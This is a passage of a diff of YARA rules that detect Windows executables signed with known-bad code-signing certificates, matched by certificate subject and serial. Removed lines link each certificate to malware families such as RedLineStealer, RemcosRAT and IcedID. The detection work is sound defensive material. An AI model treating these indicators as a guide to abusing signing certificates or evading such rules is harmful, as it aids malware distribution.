+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "5eb899b3-347d-5e74-8afa-29ffa73c7231"
+		id = "5e09087b-3fd0-5979-8f98-f242231c8b4f"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7741-L7754"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L497-L508"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dc66a18e4f8d14f98e5a8073d32b641e0eb795e989fb62ac23207e765838561a"
+		logic_hash = "2acc6d2262bac8bfe49bb244d62be4dcf626dd9b2c9786b7a8963c48b17e6ab9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f54146fadad277f67b14cfebd13cbada9789281cee7165db0277ad51621adb97"
-		reason = "ParallaxRAT"
+		thumbprint = "e611a7d4cd6bb8650e1e670567ac99d0bf24b3e8"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rimsara Development OU" and pe.signatures[i].serial=="6d:aa:67:49:8c:3a:5d:81:33:f2:8f:ef:e9:cc:c2:0e")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SNAB-RESURS, OOO" and pe.signatures[i].serial=="0e:d1:84:7a:2a:e5:d7:1d:ef:1e:83:3f:dd:d3:3d:38")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_59F296D0Af649E0962D724248D9Fdcdb : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0292C7D574132Ba5C0441D1C7Ffcb805 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "c9423cae-07a7-5ecb-966d-b1636563934a"
+		id = "0792bf83-c0e9-55f8-b6bd-b05bc575e2b4"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7756-L7769"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L510-L521"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0212033b2ea12f568a3c2e4d3768194c8035c6b6ebf054af90fe82ffcd7e6a5b"
+		logic_hash = "8d0a6714ce5bfed90c80dcfffe4f1d61ec25c817cdc48907cbc67bcee52a1d9a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ce2aa31a714cc05f86d726a959f6655efc40777aa474fb6b9689154fdc918a44"
-		reason = "DarkGate"
+		thumbprint = "d0ae777a34d4f8ce6b06755c007d2d92db2a760c"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MK ZN s.r.o." and pe.signatures[i].serial=="59:f2:96:d0:af:64:9e:09:62:d7:24:24:8d:9f:dc:db")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TES LOGISTIKA d.o.o." and pe.signatures[i].serial=="02:92:c7:d5:74:13:2b:a5:c0:44:1d:1c:7f:fc:b8:05")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A32F3Ba229704Ad400473F7479E4C3E4 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_028D50Ae0C554B49148E82Db5B1C2699 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "28d687bc-e67c-51d1-82af-53255ee44a8d"
+		id = "35cd05db-c399-5d37-a191-9170b048e263"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7771-L7784"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L523-L534"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9c7b9b6827e10a8c2a6d771d14068a074104683fe75f24dea85c5bf3f3bc04db"
+		logic_hash = "7fe907059e83a058705a2884d514938c51fd206b0a175cfb9e8619244c20c62f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ab4b30913895d8df383fdadebc29d2e04a5c854bc4172c0d41bcbef176e8f37e"
-		reason = "RecordBreaker"
+		thumbprint = "0abdbc13639c704ff325035439ea9d20b08bc48e"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SOTUL SOLUTIONS LIMITED" and pe.signatures[i].serial=="a3:2f:3b:a2:29:70:4a:d4:00:47:3f:74:79:e4:c3:e4")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VAS CO PTY LTD" and pe.signatures[i].serial=="02:8d:50:ae:0c:55:4b:49:14:8e:82:db:5b:1c:26:99")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3Ab74A2Ebf93447Adb83554B5564Fe03 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ca41D2D9F5E991F49B162D584B0F386 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "1b0be137-ddcf-5215-9cb0-d687d7b6ca6c"
+		id = "bd395177-daf6-56b1-822c-e659083e0f53"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7786-L7799"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L536-L547"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8dbc549ecaf1cb3f07486bac7ed265882af4b6b29b9772736118490eb9233303"
+		logic_hash = "51f80dfd63b273e62abaa8b60a00525cfdc6b28341466a9f414703382ad088bd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8ed289fcc40bbc150a52b733123f6094ccfb2c499d6e932b0d9a6001490fb7e6"
-		reason = "RedLineStealer"
+		thumbprint = "23250aa8e1b8ae49a64d09644db3a9a65f866957"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IMPERIOUS TECHNOLOGIES LIMITED" and pe.signatures[i].serial=="3a:b7:4a:2e:bf:93:44:7a:db:83:55:4b:55:64:fe:03")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VB CORPORATE PTY. LTD." and pe.signatures[i].serial=="0c:a4:1d:2d:9f:5e:99:1f:49:b1:62:d5:84:b0:f3:86")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_90212473C706F523Fe84Bdb9A78A01F4 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1389C8373C00B792207Bca20Aa40Aa40 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "f195cf1e-4e01-51ec-ae12-21ff56dd58e2"
+		id = "7f22411b-6e66-5177-8837-12b82b3b916b"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7801-L7814"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L549-L560"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8cd1e984bb81f071053614ae9d037d7ff5e01fb95aaa0474492386a7b5faecec"
+		logic_hash = "5c0c9ca9e1179f253f1b2ecd9c8a1a0ed17345eb9830201c7c16050339d7ccbc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6b18e9451c2e93564ed255e754b7e1cf0f817abda93015b21ae5e247c75f9d03"
-		reason = "Cerber"
+		thumbprint = "38f65d64ac93f080b229ab83cb72619b0754fa6f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DEMUS, OOO" and pe.signatures[i].serial=="90:21:24:73:c7:06:f5:23:fe:84:bd:b9:a7:8a:01:f4")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VITA-DE d.o.o." and pe.signatures[i].serial=="13:89:c8:37:3c:00:b7:92:20:7b:ca:20:aa:40:aa:40")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5C9F5F96726A6E6Fc3B8Bb153Ac82Af2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_A596Fd2779E507Aa466D159706Fe4150 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "f79e1a89-c7b4-5390-b20b-3f563f409cfe"
+		id = "8cf28e2a-d90f-5bf6-b746-7f46e8f6aa2a"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7816-L7829"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L562-L573"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "da76d86509aee2f9cac992e6b081dce5e68c747ad34abd2daeb32e6e390b880b"
+		logic_hash = "b88f346175e9084fdba94b9a8cbbf28a5012d28ab43350d927aac099921ab1a3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "285925b7c7c692f8d71d980dcf2ddb4c208a0f7b826ead34db402755d1a0f6de"
-		reason = "IcedID"
+		thumbprint = "104c4183e248d63a6e2ad6766927b070c81afcb6"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "1105 SOFTWARE LLC" and pe.signatures[i].serial=="5c:9f:5f:96:72:6a:6e:6f:c3:b8:bb:15:3a:c8:2a:f2")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ClamAV" and pe.signatures[i].serial=="a5:96:fd:27:79:e5:07:aa:46:6d:15:97:06:fe:41:50")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2A2F270535C2D5E7630720Fb229B5D1C : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_45D76C63929C4620Ab706772F5907F82 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "3ed98546-92b2-5566-9716-ae8209ece9d6"
+		id = "6ade67b1-cff5-5e5d-917c-f31010e09b82"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7831-L7844"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L575-L586"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7d9785c12d2d744fbafab009edfb1ef232eadcdbc8eee99d0ad0daacabbabf26"
+		logic_hash = "9854a8812f55f2ae7cddc714b780def3d0511b236685a17ffe202711237c4b7e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "73a0cc4495a49492806b970fd844a0ab078126930305d22c7bf68b43c337fc1a"
-		reason = "IcedID"
+		thumbprint = "67c4afae16e5e2f98fe26b4597365b3cfed68b58"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KOZUZ SP. Z O.O." and pe.signatures[i].serial=="2a:2f:27:05:35:c2:d5:e7:63:07:20:fb:22:9b:5d:1c")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NEON CRAYON LIMITED" and pe.signatures[i].serial=="45:d7:6c:63:92:9c:46:20:ab:70:67:72:f5:90:7f:82")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4659Fa5Fc1E0397Df79Fd6A4083D93B0 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5029Daca439511456D9Ed8153703F4Bc : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a0d2449c-c1b0-5e6a-9fa3-d8fe8e318c62"
+		id = "1d7f0d61-fbe7-58d1-a9d8-083678e8b9bd"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7846-L7859"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L588-L599"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6d8a10d77e63d2a62ce45606dd9a317220aa124a50fa95028a45d9f5899ec6e3"
+		logic_hash = "256b4bebbe4567de9e7d1938dd99f7f9fa13749de2f331aec0bc15f4ab5ab488"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "fa5f2dbe813b0270b1f9e53da1be024fb495e8b1848bb3c9c7392a40c8f7e8e6"
-		reason = "RedLineStealer"
+		thumbprint = "9d5ded35ffd34aa78273f0ebd4d6fa1e5337ac2b"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Incuber Services LLP" and pe.signatures[i].serial=="46:59:fa:5f:c1:e0:39:7d:f7:9f:d6:a4:08:3d:93:b0")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE GREEN PARTNERSHIP LTD" and pe.signatures[i].serial=="50:29:da:ca:43:95:11:45:6d:9e:d8:15:37:03:f4:bc")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_651F3E5B491B197D20C49B9C7B25B775 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1C7D3F6E116554809F49Ce16Ccb62E84 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "fb8b4a88-631b-5a5c-ab36-286b74a3a346"
+		id = "66f4c531-5c0d-5467-a875-eff00a5d00c8"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7861-L7874"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L601-L612"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fe06e8f6fd87d5a9044a6ff609da73b7d9e7d1f07cc9e84ee2fd2940be615323"
+		logic_hash = "f24037e6ac40844095e06ea12cebdf4dd22a35382c728f9586b90e40c57a4188"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0ee11d5917c486b7a57b7c3c566acec251170e98a577164f36b7d7d34f035499"
-		reason = "NetSupport"
+		thumbprint = ""
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rhynedahll Software LLC" and pe.signatures[i].serial=="65:1f:3e:5b:49:1b:19:7d:20:c4:9b:9c:7b:25:b7:75")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "1549 LIMITED" and pe.signatures[i].serial=="1c:7d:3f:6e:11:65:54:80:9f:49:ce:16:cc:b6:2e:84")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_67936A84Bed66Ef021Dbe771De331772 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_75522215406335725687Af888Dcdc80C : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "2739308a-7396-5fe2-bf1b-fe7e6e5d1f80"
+		id = "712d41e1-6760-5124-8af2-c57a87816237"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7876-L7889"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L614-L625"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "da149e6835be937e0bf2763052d4cbabb367910061aec3c394dffaa45d9b0ac6"
+		logic_hash = "5166ea726b1be824e5702c411800236d60c44fbfc89a39b1bc103de965249d7d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8fff75906628b764e99a7a028112a8ec7794097e564f0f897c24c2baaa82ded8"
-		reason = "IcedID"
+		thumbprint = ""
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APEX SOFTWARE DESIGN, LLC" and pe.signatures[i].serial=="67:93:6a:84:be:d6:6e:f0:21:db:e7:71:de:33:17:72")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THEESOLUTIONS LTD" and pe.signatures[i].serial=="75:52:22:15:40:63:35:72:56:87:af:88:8d:cd:c8:0c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_8538A6C5018F50Fc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_768Ddcf9Ed8D16A6Bc77451Ee88Dfd90 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8790c06a-3b7a-5e40-9a9c-0f2064029daf"
+		id = "f7d24c5f-e102-568e-bf44-47ccaad6225c"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7891-L7904"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L627-L638"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2ef3c7a45eb1d46e6c159ec9692fa5c17ff7679f41d96d04de52aa52ce96fa6b"
+		logic_hash = "ba98f0da84b678262ee98e5c5fec2aaeab9a0c304fd4552dd27e87aa54f79cdf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d42519dac24abc5c1ebfc6e0da0fd2e7cfb9db50c0598948c6630fdc132c7f94"
-		reason = "Malware"
+		thumbprint = ""
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Trading Technologies International, Inc." and pe.signatures[i].serial=="85:38:a6:c5:01:8f:50:fc")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THEESOLUTIONS LTD" and pe.signatures[i].serial=="76:8d:dc:f9:ed:8d:16:a6:bc:77:45:1e:e8:8d:fd:90")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Fecc3B3C675F7Ffd7De22507F3Fdacd7 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_59E378994Cf1C0022764896D826E6Bb8 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "b91a7dcd-6212-5750-9bc8-0eb37d9e129b"
+		id = "465d0b0c-c9fa-5364-a5f4-0d765ee40081"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7906-L7919"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L640-L651"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1319f4ccb5ab07c1c538d6a183fa25726b3d42192eaa878a2c402be2c93219f7"
+		logic_hash = "1720636723f0eeab074e29e7c9bf2df3c8d951e27b25ea4b7db60f6c00102589"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6b8cc2be066ff0bf1d884892fc600482fc34eaddb3a5e6681b509d64795b01d4"
-		reason = "RemcosRAT"
+		thumbprint = "9a17d31e9191644945e920bc1e7e08fbd00b62f4"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gromit Electronics Limited" and pe.signatures[i].serial=="fe:cc:3b:3c:67:5f:7f:fd:7d:e2:25:07:f3:fd:ac:d7")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SEVA MEDICAL LTD" and pe.signatures[i].serial=="59:e3:78:99:4c:f1:c0:02:27:64:89:6d:82:6e:6b:b8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5294F0F841F29855E33A18402421949A : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3D2580E89526F7852B570654Efd9A8Bf : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "3153f039-afd2-5eb5-b090-b205d9778eb7"
+		id = "a80493e6-ed0c-597a-a87e-19c8fa8dd8ce"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7921-L7934"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L668-L679"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b9d2b10c4117de276cb41148b41921115f414aa17e261956c8550adf6127d5b9"
+		logic_hash = "19f418672850536aaac1983b45c3239d5c81c1e4b9b6ee36a761cfc7e2351531"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "df744f6b9430237821e3f2bc6edafb4a92354dda1734a60d5e0d816256aefb47"
-		reason = "RemcosRAT"
+		thumbprint = "c1b4d57a36e0b6853dd38e3034edf7d99a8b73ad"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Integrated Plotting Solutions Limited" and pe.signatures[i].serial=="52:94:f0:f8:41:f2:98:55:e3:3a:18:40:24:21:94:9a")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MIKL LIMITED" and pe.signatures[i].serial=="3d:25:80:e8:95:26:f7:85:2b:57:06:54:ef:d9:a8:bf")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1614Ef66B2C4B886E71A93Dd34869F48 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Da173Eb1Ac76340Ac058E1Ff4Bf5E1B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "27bead15-f7fa-55a1-9347-ea551e1e0e18"
+		id = "1ef8f8b6-e4e9-5504-94bd-b24e81de5694"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7936-L7949"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L681-L692"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "26265d54d8b58128c1a9a3b322f339d1beb438f403637519b11ff324af91d1e2"
+		logic_hash = "c9bfbef4470ee2339ef68484f8a4f21628c0cf9a07770d68d91e6c11e0345786"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1689697e08dda6d1233c0056078ddf25b12c3608ead7d96ed4cbbb074e54ce29"
-		reason = "RemcosRAT"
+		thumbprint = "acb38d45108c4f0c8894040646137c95e9bb39d8"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SHIRT AND CUFF LIMITED" and pe.signatures[i].serial=="16:14:ef:66:b2:c4:b8:86:e7:1a:93:dd:34:86:9f:48")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALISA LTD" and pe.signatures[i].serial=="5d:a1:73:eb:1a:c7:63:40:ac:05:8e:1f:f4:bf:5e:1b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_65Cfd8419D70Ce4011D97Bc79D18315E : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_378D5543048E583A06A0819F25Bd9E85 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "2368b3d1-1cd5-575b-a3ff-270349563d1a"
+		id = "3525888c-9558-5164-b94e-b16511a5ea72"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7951-L7964"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L694-L705"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
